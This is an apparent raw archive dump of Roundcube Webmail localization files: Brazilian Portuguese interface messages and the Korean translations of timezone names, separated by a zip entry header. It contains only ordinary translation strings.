$messages['deletefolderconfirm']  = 'Deseja realmente excluir esta pasta?';
$messages['movefolderconfirm']  = 'Você realmente quer mover esta pasta?';
$messages['purgefolderconfirm']  = 'Deseja realmente excluir todas mensagens desta pasta?';
$messages['contactdeleting'] = 'Excluindo contato(s)...';
$messages['groupdeleting'] = 'Excluindo grupo...';
$messages['folderdeleting'] = 'Excluindo pasta...';
$messages['foldermoving'] = 'Movendo pasta...';
$messages['foldersubscribing'] = 'Ativando pasta...';
$messages['folderunsubscribing'] = 'Desativando pasta...';
$messages['formincomplete'] = 'Os campos não foram completamente preenchidos';
$messages['noemailwarning'] = 'Por favor, informe um endereço de e-mail válido';
$messages['nonamewarning']  = 'Por favor, informe o nome';
$messages['nopagesizewarning'] = 'Por favor, informe o tamanho da página';
$messages['nosenderwarning'] = 'Por favor, informe o e-mail do remetente';
$messages['recipientsadded'] = 'Destinatário(s) adicionado(s) com sucesso.';
$messages['norecipientwarning'] = 'Por favor, informe pelo menos um destinatário';
$messages['disclosedrecipwarning'] = 'Todos os destinatários verão os endereços de e-mail uns dos outros. Para prevenir isto e proteger a privacidade deles, você deve usar o campo Cópia Oculta (Cco).';
$messages['disclosedreciptitle'] = 'Há muitos destinatários públicos';
$messages['nosubjectwarning']  = 'O campo "Assunto" está vazio. Deseja incluí-lo agora?';
$messages['nosubjecttitle']  = 'Sem assunto';
$messages['nobodywarning'] = 'Enviar a mensagem sem texto?';
$messages['notsentwarning'] = 'A mensagem não foi enviada e tem alterações não salvas. Deseja descartar as alterações?';
$messages['restoresavedcomposedata'] = 'Uma mensagem criada anteriormente, mas não enviada, foi localizada.\n\nTítulo: $subject\nSalva em: $date\n\nDeseja restaurar esta mensagem?';
$messages['nosearchname'] = 'Por favor, informe o nome do contato ou seu endereço de e-mail.';
$messages['notuploadedwarning'] = 'Há anexos ainda não enviados. Aguarde ou cancele o envio.';
$messages['searchsuccessful'] = '$nr mensagens encontradas.';
$messages['contactsearchsuccessful'] = '$nr contatos encontrados.';
$messages['searchnomatch'] = 'A pesquisa não encontrou resultados';
$messages['searching'] = 'Pesquisando...';
$messages['checking'] = 'Verificando...';
$messages['stillsearching'] = 'Ainda procurando...';
$messages['nospellerrors'] = 'Nenhum erro ortográfico encontrado';
$messages['folderdeleted'] = 'Pasta excluída com sucesso';
$messages['foldersubscribed'] = 'Pasta ativada com sucesso';
$messages['folderunsubscribed'] = 'Pasta desativada com sucesso';
$messages['folderpurged'] = 'Pasta esvaziada com sucesso.';
$messages['folderexpunged'] = 'Pasta compactada com sucesso.';
$messages['deletedsuccessfully'] = 'Excluído com sucesso';
$messages['converting'] = 'Removendo formatação...';
$messages['messageopenerror'] = 'Não foi possível carregar a mensagem do servidor';
$messages['filelinkerror'] = 'Falha ao anexar o arquivo.';
$messages['fileuploaderror'] = 'Falha ao enviar o arquivo';
$messages['csvfilemismatch'] = 'A importação de vários arquivos CSV com campos diferentes não é suportada.';
$messages['filesizeerror'] = 'O arquivo enviado excede o tamanho máximo de $size';
$messages['filecounterror'] = 'Você pode enviar no máximo $count arquivos por vez.';
$messages['msgsizeerror'] = 'Falha ao anexar o arquivo. Tamanho máximo da mensagem ($size) excedido.';
$messages['msgsizeerrorfwd'] = 'Tamanho máximo de uma mensagem ($size) excedido. $num mensagens não foram anexadas.';
$messages['copysuccess'] = '$nr contato(s) copiado(s) com sucesso.';
$messages['movesuccess'] = '$nr contato(s) movido(s) com sucesso.';
$messages['copyerror'] = 'Não foi possível copiar os contatos.';
$messages['moveerror'] = 'Não foi possível mover os contatos.';
$messages['sourceisreadonly'] = 'Esta fonte de endereço é somente leitura';
$messages['errorsavingcontact'] = 'Não foi possível salvar o endereço de contato';
$messages['movingmessage'] = 'Movendo mensagem(ns)...';
$messages['copyingmessage'] = 'Copiando mensagem(ns)...';
$messages['copyingcontact'] = 'Copiando contato(s)...';
$messages['movingcontact'] = 'Movendo contato(s)...';
$messages['deletingmessage'] = 'Excluindo mensagem(ns)...';
$messages['markingmessage'] = 'Marcando mensagem(ns)...';
$messages['addingmember'] = 'Adicionando contato(s) para o grupo...';
$messages['removingmember'] = 'Removendo contato(s) do grupo...';
$messages['receiptsent'] = 'Confirmação de recebimento enviada com sucesso';
$messages['errorsendingreceipt'] = 'Não foi possível enviar a confirmação de recebimento';
$messages['deleteidentityconfirm'] = 'Você realmente deseja excluir esta identidade?';
$messages['nodeletelastidentity'] = 'Você não pode excluir sua única identidade';
$messages['forbiddencharacter'] = 'O nome da pasta contém um caractere não permitido';
$messages['selectimportfile'] = 'Selecione o arquivo a ser enviado.';
$messages['addresswriterror'] = 'O catálogo de endereços selecionado não tem permissão de modificação';
$messages['contactaddedtogroup'] = 'Contatos adicionados a este grupo com sucesso.';
$messages['contactremovedfromgroup'] = 'Contatos removidos deste grupo com sucesso.';
$messages['nogroupassignmentschanged'] = 'Nenhuma atribuição do grupo foi alterada.';
$messages['importwait'] = 'Importando, aguarde por favor...';
$messages['importformaterror'] = 'Falha na importação! O arquivo enviado não está em um formato válido.';
$messages['importconfirm'] = '<b>Foram importados com sucesso $inserted contatos</b>';
$messages['importconfirmskipped'] = '<b>Ignorado(s) $skipped registro(s) já existente(s)</b>';
$messages['importmessagesuccess'] = 'Importação de $nr mensagens com sucesso';
$messages['importmessageerror'] = 'Falha na importação! O arquivo enviado não é uma mensagem ou caixa postal válida';
$messages['opnotpermitted'] = 'Operação não permitida!';
$messages['nofromaddress'] = 'Falta o e-mail na identidade selecionada.';
$messages['editorwarning'] = 'A mudança do tipo de editor pode causar perda de formatação do texto. Deseja continuar?';
$messages['httpreceivedencrypterror'] = 'Ocorreu um erro de configuração. Informe ao administrador do sistema imediatamente. <b>Sua mensagem não pode ser enviada.</b>';
$messages['smtpconnerror'] = 'Erro SMTP ($code): Conexão ao servidor falhou.';
$messages['smtpautherror'] = 'Erro SMTP ($code): Falha na autenticação.';
$messages['smtpfromerror'] = 'Erro SMTP ($code): Falha ao definir o remetente "$from" ($msg).';
$messages['smtptoerror'] = 'Erro SMTP ($code): Falha ao adicionar o destinatário "$to" ($msg).';
$messages['smtprecipientserror'] = 'Erro SMTP: Não é possível processar a lista destinatários.';
$messages['smtputf8error'] = 'Erro de SMTP: Servidor não suporta Unicode em endereço de email.';
$messages['smtpsizeerror'] = 'Erro de SMTP: Tamanho da mensagem excede o limite do servidor ($limit)';
$messages['smtperror'] = 'Erro SMTP: $msg';
$messages['emailformaterror'] = 'Endereço de e-mail inválido: $email';
$messages['toomanyrecipients'] = 'Há muitos destinatários. Reduza o número de destinatários para $max.';
$messages['maxgroupmembersreached'] = 'O número de membros do grupo excede o máximo de $max';
$messages['internalerror'] = 'Ocorreu um erro interno. Por favor tente novamente.';
$messages['contactdelerror'] = 'Não foi possível excluir o(s) contato(s).';
$messages['contactdeleted'] = 'Contato(s) excluído(s) com sucesso.';
$messages['contactrestoreerror'] = 'Não foi possivel recuperar o(s) contato(s) excluído(s).';
$messages['contactrestored'] = 'Contato(s) recuperado(s) com sucesso.';
$messages['groupdeleted'] = 'Grupo excluído com sucesso';
$messages['grouprenamed'] = 'Grupo renomeado com sucesso.';
$messages['groupcreated'] = 'Grupo criado com sucesso.';
$messages['savedsearchdeleted'] = 'Pesquisa excluída com sucesso.';
$messages['savedsearchdeleteerror'] = 'Não foi possível excluir a pesquisa.';
$messages['savedsearchcreated'] = 'Pesquisa criada com sucesso.';
$messages['savedsearchcreateerror'] = 'Não foi possível criar a pesquisa.';
$messages['messagedeleted'] = 'Mensagem(s) excluída(s) com sucesso';
$messages['messagemoved'] = 'Mensagem(s) movida(s) com sucesso';
$messages['messagemovedtotrash'] = 'Mensagem(s) movida(s) para a Lixeira com sucesso.';
$messages['messagecopied'] = 'Mensagem(s) copiada(s) com sucesso';
$messages['messagemarked'] = 'Mensagem(s) marcada(s) com sucesso';
$messages['autocompletechars'] = 'Digite pelo menos $min caractere(s) para auto-completar';
$messages['autocompletemore'] = 'Mais registros foram encontrados. Por favor, digite mais caracteres.';
$messages['namecannotbeempty'] = 'Nome não pode ser vazio';
$messages['nametoolong'] = 'Nome é muito longo';
$messages['namedotforbidden'] = 'Nome de pasta não pode começar com um ponto.';
$messages['folderupdated'] = 'Pasta atualizada com sucesso';
$messages['foldercreated'] = 'Pasta criada com sucesso';
$messages['invalidimageformat'] = 'Formato de imagem inválido.';
$messages['mispellingsfound'] = 'Foram detectados erros de ortografia na mensagem.';
$messages['parentnotwritable'] = 'Sem permissão para criar/mover a pasta dentro da pasta selecionada.';
$messages['messagetoobig'] = 'A mensagem é muito grande para ser processada.';
$messages['attachmentvalidationerror'] = 'Este anexo é suspeito porque seu tipo não combina com o tipo declarado na mensagem. Se você não confia no remetente, não o abra no navegador porque pode conter conteúdo maicioso.<br/><br/><em>Esperado: $expected; encontrado: $detected</em>';
$messages['noscriptwarning'] = 'Aviso: Este webmail utiliza Javascript, habilite-o nas configurações de seu navegador.';
$messages['messageissent'] = 'A mensagem já foi enviada, mas ainda não foi salva. Deseja salvar agora?';
$messages['errnotfound'] = 'Arquivo não encontrado';
$messages['errnotfoundexplain'] = 'O recurso solicitado não foi encontrado!';
$messages['errfailedrequest'] = 'Requisição falhou';
$messages['errauthorizationfailed'] = 'Autorização Falhou';
$messages['errunauthorizedexplain'] = 'Não é possível verificar se você está autorizado a acessar este serviço!';
$messages['errrequestcheckfailed'] = 'Falha na verificação da requisição';
$messages['errcsrfprotectionexplain'] = "Para sua proteção, o acesso a este serviço está seguro contra CSRF.\nSe você está vendo isto, provavelmente não utilizou a opção de sair antes de encerrar a utilização.\n\nSerá necessária interação humana para continuar.";
$messages['errcontactserveradmin'] = 'Por favor contate o administrador do servidor.';
$messages['clicktoresumesession'] = 'Clique aqui para continuar sua sessão anterior';
$messages['errcomposesession'] = 'Erro na sessão de composição';
$messages['errcomposesessionexplain'] = 'A sessão de composição solicitada não foi encontrada.';
$messages['clicktocompose'] = 'Clique aqui para compor uma nova mensagem';
$messages['nosupporterror'] = 'Esta característica não é suportada pelo seu navegador.';
$messages['siginserted'] = 'Assinatura inserida com sucesso.';
$messages['responseinserted'] = 'Resposta inserida com sucesso.';
$messages['noresponsesavailable'] = 'Sem respostas disponíveis';
$messages['listempty'] = 'A lista está vazia.';
$messages['listusebutton'] = 'Use o botão Criar para adicionar um novo registro.';
$messages['keypaircreatesuccess'] = 'Um novo par de chaves foi criado com sucesso para $identity.';
$messages['emptyattachment'] = 'Este anexo parece estar vazio.<br>Por favor, verifique com a pessoa que o enviou.';
$messages['oauthloginfailed'] = 'Login do OAuth falhou. Por favor, tente novamente.';
PK
h�\Q���hThT(program/localization/ko_KR/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = '아프리카';
$labels['tz:africa:abidjan'] = '아비장';
$labels['tz:africa:accra'] = '아크라';
$labels['tz:africa:addis_ababa'] = '아디스아바바';
$labels['tz:africa:algiers'] = '알제';
$labels['tz:africa:asmara'] = '아스마라';
$labels['tz:africa:bamako'] = '바마코';
$labels['tz:africa:bangui'] = '방기';
$labels['tz:africa:banjul'] = '반줄';
$labels['tz:africa:bissau'] = '비사우';
$labels['tz:africa:blantyre'] = '블랜타이어';
$labels['tz:africa:brazzaville'] = '브라자빌';
$labels['tz:africa:bujumbura'] = '부줌부라';
$labels['tz:africa:cairo'] = '카이로';
$labels['tz:africa:casablanca'] = '카사블랑카';
$labels['tz:africa:ceuta'] = '세우타';
$labels['tz:africa:conakry'] = '코나크리';
$labels['tz:africa:dakar'] = '다카르';
$labels['tz:africa:dar_es_salaam'] = '다르에스살람';
$labels['tz:africa:djibouti'] = '지부티';
$labels['tz:africa:douala'] = '두알라';
$labels['tz:africa:el_aaiun'] = '엘아이운';
$labels['tz:africa:freetown'] = '프리타운';
$labels['tz:africa:gaborone'] = '가보로네';
$labels['tz:africa:harare'] = '하라레';
$labels['tz:africa:johannesburg'] = '요하네스버그';
$labels['tz:africa:juba'] = '주바';
$labels['tz:africa:kampala'] = '캄팔라';
$labels['tz:africa:khartoum'] = '하르툼';
$labels['tz:africa:kigali'] = '키갈리';
$labels['tz:africa:kinshasa'] = '킨샤사';
$labels['tz:africa:lagos'] = '라고스';
$labels['tz:africa:libreville'] = '리브르빌';
$labels['tz:africa:lome'] = '로메';
$labels['tz:africa:luanda'] = '루안다';
$labels['tz:africa:lubumbashi'] = '루붐바시';
$labels['tz:africa:lusaka'] = '루사카';
$labels['tz:africa:malabo'] = '말라보';
$labels['tz:africa:maputo'] = '마푸토';
$labels['tz:africa:maseru'] = '마세루';
$labels['tz:africa:mbabane'] = '음바바네';
$labels['tz:africa:mogadishu'] = '모가디슈';
$labels['tz:africa:monrovia'] = '몬로비아';
$labels['tz:africa:nairobi'] = '나이로비';
$labels['tz:africa:ndjamena'] = '은자메나';
$labels['tz:africa:niamey'] = '니아메';
$labels['tz:africa:nouakchott'] = '뉴악쇼트';
$labels['tz:africa:ouagadougou'] = '와가두구';
$labels['tz:africa:porto-novo'] = '포르토노보';
$labels['tz:africa:sao_tome'] = '상투메';
$labels['tz:africa:tripoli'] = '트리폴리';
$labels['tz:africa:tunis'] = '튀니스';
$labels['tz:africa:windhoek'] = '빈트후크';
$labels['tz:america'] = '아메리카';
$labels['tz:america:adak'] = '에이댁';
$labels['tz:america:anchorage'] = '앵커리지';
$labels['tz:america:anguilla'] = '앙귈라';
$labels['tz:america:antigua'] = '안티과';
$labels['tz:america:araguaina'] = '아라구아이나';
$labels['tz:america:argentina'] = '아르헨티나';
$labels['tz:america:argentina:buenos_aires'] = '부에노스아이레스';
$labels['tz:america:argentina:catamarca'] = '카타마르카';
$labels['tz:america:argentina:cordoba'] = '코르도바';
$labels['tz:america:argentina:jujuy'] = '후후이';
$labels['tz:america:argentina:la_rioja'] = '라리오하';
$labels['tz:america:argentina:mendoza'] = '멘도자';
$labels['tz:america:argentina:rio_gallegos'] = '리오가제고스';
$labels['tz:america:argentina:salta'] = '살타';
$labels['tz:america:argentina:san_juan'] = '산후안';
$labels['tz:america:argentina:san_luis'] = '산루이';
$labels['tz:america:argentina:tucuman'] = '투쿠만';
$labels['tz:america:argentina:ushuaia'] = '우수아이아';
$labels['tz:america:aruba'] = '아루바';
$labels['tz:america:asuncion'] = '아순시온';
$labels['tz:america:atikokan'] = '아티코칸';
$labels['tz:america:bahia'] = '바이아';
$labels['tz:america:bahia_banderas'] = '바이아반데라스';
$labels['tz:america:barbados'] = '바베이도스';
$labels['tz:america:belem'] = '벨렘';
$labels['tz:america:belize'] = '벨리즈';
$labels['tz:america:blanc-sablon'] = '블랑사블롱';
$labels['tz:america:boa_vista'] = '보아비스타';
$labels['tz:america:bogota'] = '보고타';
$labels['tz:america:boise'] = '보이시';
$labels['tz:america:cambridge_bay'] = '케임브리지베이';
$labels['tz:america:campo_grande'] = '캄포그란데';
$labels['tz:america:cancun'] = '칸쿤';
$labels['tz:america:caracas'] = '카라카스';
$labels['tz:america:cayenne'] = '카옌';
$labels['tz:america:cayman'] = '케이맨';
$labels['tz:america:chicago'] = '시카고';
$labels['tz:america:chihuahua'] = '치와와';
$labels['tz:america:costa_rica'] = '코스타리카';
$labels['tz:america:creston'] = '크레스턴';
$labels['tz:america:cuiaba'] = '쿠이아바';
$labels['tz:america:curacao'] = '쿠라사우';
$labels['tz:america:danmarkshavn'] = '덴마크샤븐';
$labels['tz:america:dawson'] = '도슨';
$labels['tz:america:dawson_creek'] = '도슨크릭';
$labels['tz:america:denver'] = '덴버';
$labels['tz:america:detroit'] = '디트로이트';
$labels['tz:america:dominica'] = '도미니카';
$labels['tz:america:edmonton'] = '에드먼턴';
$labels['tz:america:eirunepe'] = '에이루네페';
$labels['tz:america:el_salvador'] = '엘살바도르';
$labels['tz:america:fort_nelson'] = '포트넬슨';
$labels['tz:america:fortaleza'] = '포르탈레자';
$labels['tz:america:glace_bay'] = '글레이스베이';
$labels['tz:america:godthab'] = '고드홉';
$labels['tz:america:goose_bay'] = '구스베이';
$labels['tz:america:grand_turk'] = '그랜드터크';
$labels['tz:america:grenada'] = '그레나다';
$labels['tz:america:guadeloupe'] = '과들루프';
$labels['tz:america:guatemala'] = '과테말라';
$labels['tz:america:guayaquil'] = '과야킬';
$labels['tz:america:guyana'] = '가이아나';
$labels['tz:america:halifax'] = '핼리팩스';
$labels['tz:america:havana'] = '아바나';
$labels['tz:america:hermosillo'] = '에르모시요';
$labels['tz:america:indiana'] = '인디애나';
$labels['tz:america:indiana:indianapolis'] = '인디애나폴리스';
$labels['tz:america:indiana:knox'] = '녹스';
$labels['tz:america:indiana:marengo'] = '마렝고';
$labels['tz:america:indiana:petersburg'] = '피터즈버그';
$labels['tz:america:indiana:tell_city'] = '텔시티';
$labels['tz:america:indiana:vevay'] = '베바이';
$labels['tz:america:indiana:vincennes'] = '빈센즈';
$labels['tz:america:indiana:winamac'] = '위너맥';
$labels['tz:america:inuvik'] = '이누빅';
$labels['tz:america:iqaluit'] = '이칼루이트';
$labels['tz:america:jamaica'] = '자메이카';
$labels['tz:america:juneau'] = '주노';
$labels['tz:america:kentucky'] = '켄터키';
$labels['tz:america:kentucky:louisville'] = '루이스빌';
$labels['tz:america:kentucky:monticello'] = '몬티셀로';
$labels['tz:america:kralendijk'] = '크랄렌데이크';
$labels['tz:america:la_paz'] = '라파스';
$labels['tz:america:lima'] = '리마';
$labels['tz:america:los_angeles'] = '로스앤젤레스';
$labels['tz:america:lower_princes'] = '로어 프린스';
$labels['tz:america:maceio'] = '마세이오';
$labels['tz:america:managua'] = '마나과';
$labels['tz:america:manaus'] = '마나우스';
$labels['tz:america:marigot'] = '마리고';
$labels['tz:america:martinique'] = '마르티니크';
$labels['tz:america:matamoros'] = '마타모로스';
$labels['tz:america:mazatlan'] = '마사틀란';
$labels['tz:america:menominee'] = '메노미니';
$labels['tz:america:merida'] = '메리다';
$labels['tz:america:metlakatla'] = '메틀라카틀라';
$labels['tz:america:mexico_city'] = '멕시코시티';
$labels['tz:america:miquelon'] = '미클롱';
$labels['tz:america:moncton'] = '몽크턴';
$labels['tz:america:monterrey'] = '몬테레이';
$labels['tz:america:montevideo'] = '몬테비데오';
$labels['tz:america:montserrat'] = '몬트세라트';
$labels['tz:america:nassau'] = '나소';
$labels['tz:america:new_york'] = '뉴욕';
$labels['tz:america:nipigon'] = '니피곤';
$labels['tz:america:nome'] = '놈';
$labels['tz:america:noronha'] = '노로냐';
$labels['tz:america:north_dakota'] = '노스다코타';
$labels['tz:america:north_dakota:beulah'] = '뷸라';
$labels['tz:america:north_dakota:center'] = '센터';
$labels['tz:america:north_dakota:new_salem'] = '뉴살렘';
$labels['tz:america:ojinaga'] = '오지나가';
$labels['tz:america:panama'] = '파나마';
$labels['tz:america:pangnirtung'] = '팽니텅';
$labels['tz:america:paramaribo'] = '파라마리보';
$labels['tz:america:phoenix'] = '피닉스';
$labels['tz:america:port-au-prince'] = '포르토프랭스';
$labels['tz:america:port_of_spain'] = '포트오브스페인';
$labels['tz:america:porto_velho'] = '포르토벨료';
$labels['tz:america:puerto_rico'] = '푸에르토리코';
$labels['tz:america:rainy_river'] = '레이니리버';
$labels['tz:america:rankin_inlet'] = '랭킨 인라잇';
$labels['tz:america:recife'] = '레시페';
$labels['tz:america:regina'] = '리자이나';
$labels['tz:america:resolute'] = '레졸루트';
$labels['tz:america:rio_branco'] = '리오브랑쿠';
$labels['tz:america:santarem'] = '산타렘';
$labels['tz:america:santiago'] = '산티아고';
$labels['tz:america:santo_domingo'] = '산토도밍고';
$labels['tz:america:sao_paulo'] = '상파울루';
$labels['tz:america:scoresbysund'] = '스코레스비순드';
$labels['tz:america:sitka'] = '시트카';
$labels['tz:america:st_barthelemy'] = '세인트바르텔레미';
$labels['tz:america:st_johns'] = "세인트존스";
$labels['tz:america:st_kitts'] = '세인트키츠';
$labels['tz:america:st_lucia'] = '세인트루시아';
$labels['tz:america:st_thomas'] = '세인트토머스';
$labels['tz:america:st_vincent'] = '세인트빈센트';
$labels['tz:america:swift_current'] = '스위프트커런트';
$labels['tz:america:tegucigalpa'] = '테구시갈파';
$labels['tz:america:thule'] = '툴레';
$labels['tz:america:thunder_bay'] = '선더베이';
$labels['tz:america:tijuana'] = '티화나';
$labels['tz:america:toronto'] = '토론토';
$labels['tz:america:tortola'] = '토르톨라';
$labels['tz:america:vancouver'] = '밴쿠버';
$labels['tz:america:whitehorse'] = '화이트호스';
$labels['tz:america:winnipeg'] = '위니페그';
$labels['tz:america:yakutat'] = '야쿠타트';
$labels['tz:america:yellowknife'] = '옐로나이프';
$labels['tz:antarctica'] = '남극';
$labels['tz:antarctica:casey'] = '케이시';
$labels['tz:antarctica:davis'] = '데이비스';
$labels['tz:antarctica:dumontdurville'] = "뒤몽뒤르빌";
$labels['tz:antarctica:macquarie'] = '맥코리';
$labels['tz:antarctica:mawson'] = '모손';
$labels['tz:antarctica:mcmurdo'] = '맥머도';
$labels['tz:antarctica:palmer'] = '팔머';
$labels['tz:antarctica:rothera'] = '로세라';
$labels['tz:antarctica:syowa'] = '쇼와';
$labels['tz:antarctica:troll'] = '트롤';
$labels['tz:antarctica:vostok'] = '보스토크';
$labels['tz:arctic'] = '북극';
$labels['tz:arctic:longyearbyen'] = '롱위에아르뷔엔';
$labels['tz:asia'] = '아시아';
$labels['tz:asia:aden'] = '아덴';
$labels['tz:asia:almaty'] = '알마티';
$labels['tz:asia:amman'] = '암만';
$labels['tz:asia:anadyr'] = '아나디리';
$labels['tz:asia:aqtau'] = '악타우';
$labels['tz:asia:aqtobe'] = '아크토베';
$labels['tz:asia:ashgabat'] = '아시가바트';
$labels['tz:asia:atyrau'] = '아티라우';
$labels['tz:asia:baghdad'] = '바그다드';
$labels['tz:asia:bahrain'] = '바레인';
$labels['tz:asia:baku'] = '바쿠';
$labels['tz:asia:bangkok'] = '방콕';
$labels['tz:asia:barnaul'] = '바르나울';
$labels['tz:asia:beirut'] = '베이루트';
$labels['tz:asia:bishkek'] = '비슈케크';
$labels['tz:asia:brunei'] = '브루나이';
$labels['tz:asia:chita'] = '치타';
$labels['tz:asia:choibalsan'] = '처이발상';
$labels['tz:asia:colombo'] = '콜롬보';
$labels['tz:asia:damascus'] = '다마스쿠스';
$labels['tz:asia:dhaka'] = '다카';
$labels['tz:asia:dili'] = '딜리';
$labels['tz:asia:dubai'] = '두바이';
$labels['tz:asia:dushanbe'] = '두샨베';
$labels['tz:asia:famagusta'] = '파마구스타';
$labels['tz:asia:gaza'] = '가자';
$labels['tz:asia:hebron'] = '헤브론';
$labels['tz:asia:ho_chi_minh'] = '호치민';
$labels['tz:asia:hong_kong'] = '홍콩';
$labels['tz:asia:hovd'] = '허브드';
$labels['tz:asia:irkutsk'] = '이르쿠츠크';
$labels['tz:asia:jakarta'] = '자카르타';
$labels['tz:asia:jayapura'] = '자야푸라';
$labels['tz:asia:jerusalem'] = '예루살렘';
$labels['tz:asia:kabul'] = '카불';
$labels['tz:asia:kamchatka'] = '캄차카';
$labels['tz:asia:karachi'] = '카라치';
$labels['tz:asia:kathmandu'] = '카트만두';
$labels['tz:asia:khandyga'] = '칸디가';
$labels['tz:asia:kolkata'] = '콜카타';
$labels['tz:asia:krasnoyarsk'] = '크라스노야르스크';
$labels['tz:asia:kuala_lumpur'] = '콸라룸푸르';
$labels['tz:asia:kuching'] = '쿠칭';
$labels['tz:asia:kuwait'] = '쿠웨이트';
$labels['tz:asia:macau'] = '마카오';
$labels['tz:asia:magadan'] = '마가단';
$labels['tz:asia:makassar'] = '마카사르';
$labels['tz:asia:manila'] = '마닐라';
$labels['tz:asia:muscat'] = '무스카트';
$labels['tz:asia:nicosia'] = '니코시아';
$labels['tz:asia:novokuznetsk'] = '노보쿠즈네츠크';
$labels['tz:asia:novosibirsk'] = '노보시비르스크';
$labels['tz:asia:omsk'] = '옴스크';
$labels['tz:asia:oral'] = '오랄';
$labels['tz:asia:phnom_penh'] = '프놈펜';
$labels['tz:asia:pontianak'] = '폰티아낙';
$labels['tz:asia:pyongyang'] = '평양';
$labels['tz:asia:qatar'] = '카타르';
$labels['tz:asia:qyzylorda'] = '키질로르다';
$labels['tz:asia:riyadh'] = '리야드';
$labels['tz:asia:sakhalin'] = '사할린';
$labels['tz:asia:samarkand'] = '사마르칸트';
$labels['tz:asia:seoul'] = '서울';
$labels['tz:asia:shanghai'] = '상하이';
$labels['tz:asia:singapore'] = '싱가포르';
$labels['tz:asia:srednekolymsk'] = '스레드네콜림스크';
$labels['tz:asia:taipei'] = '타이페이';
$labels['tz:asia:tashkent'] = '타슈켄트';
$labels['tz:asia:tbilisi'] = '트빌리시';
$labels['tz:asia:tehran'] = '테헤란';
$labels['tz:asia:thimphu'] = '팀부';
$labels['tz:asia:tokyo'] = '도쿄';
$labels['tz:asia:tomsk'] = '톰스크';
$labels['tz:asia:ulaanbaatar'] = '울란바토르';
$labels['tz:asia:urumqi'] = '우루무치';
$labels['tz:asia:ust-nera'] = '우스네라';
$labels['tz:asia:vientiane'] = '비엔티안';
$labels['tz:asia:vladivostok'] = '블라디보스토크';
$labels['tz:asia:yakutsk'] = '야쿠츠크';
$labels['tz:asia:yangon'] = '양곤';
$labels['tz:asia:yekaterinburg'] = '에카테린부르크';
$labels['tz:asia:yerevan'] = '예레반';
$labels['tz:atlantic'] = '대서양';
$labels['tz:atlantic:azores'] = '아조레스';
$labels['tz:atlantic:bermuda'] = '버뮤다';
$labels['tz:atlantic:canary'] = '카나리아';
$labels['tz:atlantic:cape_verde'] = '카보베르데';
$labels['tz:atlantic:faroe'] = '페로';
$labels['tz:atlantic:madeira'] = '마데이라';
$labels['tz:atlantic:reykjavik'] = '레이캬비크';
$labels['tz:atlantic:south_georgia'] = '사우스조지아';
$labels['tz:atlantic:st_helena'] = '세인트헬레나';
$labels['tz:atlantic:stanley'] = '스탠리';
$labels['tz:australia'] = '오스트레일리아';
$labels['tz:australia:adelaide'] = '애들레이드';
$labels['tz:australia:brisbane'] = '브리즈번';
$labels['tz:australia:broken_hill'] = '브로컨힐';
$labels['tz:australia:currie'] = '커리';
$labels['tz:australia:darwin'] = '다윈';
$labels['tz:australia:eucla'] = '유클라';
$labels['tz:australia:hobart'] = '호바트';
$labels['tz:australia:lindeman'] = '린드만';
$labels['tz:australia:lord_howe'] = '로드하우';
$labels['tz:australia:melbourne'] = '멜버른';
$labels['tz:australia:perth'] = '퍼스';
$labels['tz:australia:sydney'] = '시드니';
$labels['tz:europe'] = '유럽';
$labels['tz:europe:amsterdam'] = '암스테르담';
$labels['tz:europe:andorra'] = '안도라';
$labels['tz:europe:astrakhan'] = '아스트라칸';
$labels['tz:europe:athens'] = '아테네';
$labels['tz:europe:belgrade'] = '베오그라드';
$labels['tz:europe:berlin'] = '베를린';
$labels['tz:europe:bratislava'] = '브라티슬라바';
$labels['tz:europe:brussels'] = '브뤼셀';
$labels['tz:europe:bucharest'] = '부쿠레슈티';
$labels['tz:europe:budapest'] = '부다페스트';
$labels['tz:europe:busingen'] = '뷔징겐';
$labels['tz:europe:chisinau'] = '키시나우';
$labels['tz:europe:copenhagen'] = '코펜하겐';
$labels['tz:europe:dublin'] = '더블린';
$labels['tz:europe:gibraltar'] = '지브롤터';
$labels['tz:europe:guernsey'] = '건지';
$labels['tz:europe:helsinki'] = '헬싱키';
$labels['tz:europe:isle_of_man'] = '맨섬';
$labels['tz:europe:istanbul'] = '이스탄불';
$labels['tz:europe:jersey'] = '저지';
$labels['tz:europe:kaliningrad'] = '칼리닌그라드';
$labels['tz:europe:kiev'] = '키예프';
$labels['tz:europe:kirov'] = '키로프';
$labels['tz:europe:lisbon'] = '리스본';
$labels['tz:europe:ljubljana'] = '류블랴나';
$labels['tz:europe:london'] = '런던';
$labels['tz:europe:luxembourg'] = '룩셈부르크';
$labels['tz:europe:madrid'] = '마드리드';
$labels['tz:europe:malta'] = '몰타';
$labels['tz:europe:mariehamn'] = '마리에하먼';
$labels['tz:europe:minsk'] = '민스크';
$labels['tz:europe:monaco'] = '모나코';
$labels['tz:europe:moscow'] = '모스크바';
$labels['tz:europe:oslo'] = '오슬로';
$labels['tz:europe:paris'] = '파리';
$labels['tz:europe:podgorica'] = '포드고리차';
$labels['tz:europe:prague'] = '프라하';
$labels['tz:europe:riga'] = '리가';
$labels['tz:europe:rome'] = '로마';
$labels['tz:europe:samara'] = '사마라';
$labels['tz:europe:san_marino'] = '산마리노';
$labels['tz:europe:sarajevo'] = '사라예보';
$labels['tz:europe:saratov'] = '사라토프';
$labels['tz:europe:simferopol'] = '심페로폴리';
$labels['tz:europe:skopje'] = '스코페';
$labels['tz:europe:sofia'] = '소피아';
$labels['tz:europe:stockholm'] = '스톡홀름';
$labels['tz:europe:tallinn'] = '탈린';
$labels['tz:europe:tirane'] = '티라나';
$labels['tz:europe:ulyanovsk'] = '울리야노프스크';
$labels['tz:europe:uzhgorod'] = '우즈호로드';
$labels['tz:europe:vaduz'] = '파두츠';
$labels['tz:europe:vatican'] = '바티칸';
$labels['tz:europe:vienna'] = '비엔나';
$labels['tz:europe:vilnius'] = '빌뉴스';
$labels['tz:europe:volgograd'] = '볼고그라드';
$labels['tz:europe:warsaw'] = '바르샤바';
$labels['tz:europe:zagreb'] = '자그레브';
$labels['tz:europe:zaporozhye'] = '자포리자';
$labels['tz:europe:zurich'] = '취리히';
$labels['tz:indian'] = '인도양';
